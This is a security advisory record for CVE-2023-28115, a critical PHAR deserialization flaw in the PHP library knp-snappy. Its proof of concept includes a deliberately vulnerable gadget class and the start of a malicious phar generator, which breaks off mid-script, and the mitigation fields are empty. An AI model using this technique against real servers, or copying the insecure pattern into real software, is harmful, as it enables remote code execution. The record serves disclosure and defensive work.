PHAR deserialization allowing remote code execution
Date: 2023-03
Affected: composer/knplabs/knp-snappy
Attack vector: deserialization
Category: vulnerability-disclosure
Severity: Critical
CVE: CVE-2023-28115
CWE: CWE-502
CVSS: 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

## Description snappy is vulnerable to PHAR deserialization due to a lack of checking on the protocol before passing it into the `file_exists()` function. If an attacker can upload files of any type to the server he can pass in the phar:// protocol to unserialize the uploaded file and instantiate arbitrary PHP objects. This can lead to remote code execution especially when snappy is used with frameworks with documented POP chains like Laravel/Symfony vulnerable developer code. If user can control the output file from the `generateFromHtml()` function, it will invoke deserialization. ## Proof of Concept Install Snappy via composer require `knplabs/knp-snappy`. After that, under snappy directory, create an `index.php` file with this vulnerable code. ```php <?php // index.php // include autoloader require __DIR__ . '/vendor/autoload.php'; // reference the snappy namespace use Knp\Snappy\Pdf; // vulnerable object class VulnerableClass { public $fileName; public $callback; function __destruct() { call_user_func($this->callback, $this->fileName); } } $snappy = new Pdf('/usr/local/bin/wkhtmltopdf'); // generate pdf from html content and save it at phar://poc.phar $snappy->generateFromHtml('<h1>Bill</h1><p>You owe me money, dude.</p>', 'phar://poc.phar'); ``` As an attacker, we going to generate the malicious phar using this script. ```php <?php // generate_phar.php class VulnerableClass { } // Create a new instance of the Dummy class and modify it


Mitigations:

Architectural layers (MAESTRO):